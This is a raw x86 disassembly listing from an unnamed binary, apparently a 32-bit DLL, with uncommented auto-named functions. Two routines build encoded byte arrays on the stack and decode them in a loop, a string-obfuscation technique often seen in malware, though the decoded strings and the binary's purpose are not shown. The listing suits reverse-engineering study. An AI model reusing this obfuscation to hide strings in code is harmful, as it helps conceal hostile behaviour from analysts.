lea ecx, [esp + 0x224]
call fcn.1001c95a
push eax
push ecx
push esi
mov ecx, ebx
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
push 0
push 1
lea ecx, [esp + 0x4c]
mov byte [esp + 0x53c], 0x1a
call fcn.10016cae
xor eax, eax
lea edi, [esp + 0x314]
stosd dword es:[edi], eax
lea ecx, [esp + 0x1c0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x2f0]
push eax
call fcn.1001bef9
lea eax, [esp + 0x1c0]
mov byte [esp + 0x534], 0x28
push eax
push ecx
lea eax, [esp + 0x374]
mov ecx, ebx
push eax
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x1a
call fcn.1001c059
xor ecx, ecx
mov dword [esp + 0x44], 0x7806670a
mov dword [esp + 0x48], 0x7b0f7814
xor esi, esi
mov dword [esp + 0x4c], 0x6a107f11
mov dword [esp + 0x50], 0x78017c0b
mov dword [esp + 0x54], 0x81037e0d
mov dword [esp + 0x58], 0x1f097409
mov dword [esp + 0x5c], 0xce547e6a
mov dword [esp + 0x60], 0x847dcdf
mov dword [esp + 0x64], 0x1280027c
mov dword [esp + 0x68], 0x168f1380
mov dword [esp + 0x6c], 0x178a158e
mov dword [esp + 0x70], 0x7860e91
mov dword [esp + 0x74], 0x9d0599
mov dword [esp + 0x78], 0x49f0c9e
mov byte [esp + 0x7c], 0x90
cmp ecx, 0x16
jne 0x1009c7ad
push 9
pop esi
push 0x1d
pop ecx
jmp 0x1009c7d6
movzx eax, byte [esp + ecx + 0x45]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009c7cd
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x44]
mov byte [esp + eax + 0x10], dl
add ecx, 2
cmp ecx, 0x39
jb 0x1009c7a0
push 2
lea ecx, [esp + 0x1c4]
mov byte [esp + 0x2c], 0
call fcn.1001beba
lea eax, [esp + 0x10]
mov byte [esp + 0x534], 0x29
push eax
lea ecx, [esp + 0x48]
call fcn.1001b5bd
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x2a
push ecx
push ecx
push eax
mov ecx, ebx
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
push 0
push 1
lea ecx, [esp + 0x4c]
call fcn.10016cae
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x1a
call fcn.1001c059
push 6
xor eax, eax
mov dword [esp + 0x48], 0x77006e07
pop ecx
lea edi, [esp + 0x10]
mov dword [esp + 0x48], 0x6c037905
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x4c], 0x78027908
mov dword [esp + 0x50], 0x78016e06
xor esi, esi
mov dword [esp + 0x54], 0xfaa33111
stosb byte es:[edi], al
mov dword [esp + 0x58], 0xf8508c23
mov dword [esp + 0x5c], 0x4e26a657
mov dword [esp + 0x60], 0xd7a08511
mov word [esp + 0x64], 0x4ce
mov byte [esp + 0x66], 0x84
cmp ecx, 0x10
jne 0x1009c8b2
push 0x11
pop esi
push 0x1f
pop ecx
jmp 0x1009c8de
movzx eax, byte [esp + ecx + 0x45]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x1009c8d2
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x44]
mov byte [esp + eax + 0x330], dl
add ecx, 2
cmp ecx, 0x23
jb 0x1009c8a5
lea ecx, [esp + 0x288]
mov byte [esp + 0x339], 0
call fcn.10032984
push eax
lea ecx, [esp + 0x1c4]
mov byte [esp + 0x538], 0x2b
call fcn.1001bef9
lea eax, [esp + 0x330]
mov byte [esp + 0x534], 0x2c
push eax
lea ecx, [esp + 0x48]
call fcn.1001b5bd
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x2d
push ecx
push ecx
push eax
mov ecx, ebx
call fcn.1001c95a
pop ecx
mov ecx, eax
call fcn.1001c0d6
xor ebx, ebx
lea ecx, [esp + 0x44]
push ebx
push 1
call fcn.10016cae
lea ecx, [esp + 0x1c0]
mov byte [esp + 0x534], 0x2b
call fcn.1001c059
push ebx
push 1
lea ecx, [esp + 0x290]
call fcn.10016cae
jmp 0x1009c97e
xor ebx, ebx
push ebx
push 1
lea ecx, [esp + 0x238]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x2a8]
call fcn.10016cae
lea ecx, [esp + 0x220]
mov byte [esp + 0x534], 0x17
call fcn.1001c059
lea ecx, [esp + 0xc0]
call fcn.10028930
jmp 0x1009c9c0
xor ebx, ebx
push ebx
push 1
lea ecx, [esp + 0x3a0]
call fcn.10014706
lea ecx, [esp + 0x204]
call fcn.1001496d
push ebx
push 1
lea ecx, [esp + 0x440]
call fcn.10016cae
lea ecx, [esp + 0x198]
call fcn.1001e391
push ebx
push 1
lea ecx, [esp + 0x3e0]
call fcn.10016cae
lea ecx, [esp + 0x2d0]
mov byte [esp + 0x534], 0xa
call fcn.1001c059
push ebx
push 1
lea ecx, [esp + 0x3b8]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x3f8]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x374]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x258]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x2f8]
call fcn.10016cae
jmp 0x1009ca8d
mov ecx, dword [esp + 0x40]
lea eax, [esp + 0x408]
push eax
lea eax, [esp + 0x9c]
push eax
call fcn.1001ca81
lea ecx, [esp + 0x98]
call fcn.1001c059
xor ebx, ebx
lea ecx, [esp + 0x3c8]
mov byte [esp + 0x534], 4
call fcn.1001c059
push ebx
push 1
lea ecx, [esp + 0x344]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x35c]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x410]
call fcn.10016cae
push ebx
push 1
lea ecx, [esp + 0x428]
call fcn.10014706
mov ecx, dword [esp + 0x52c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret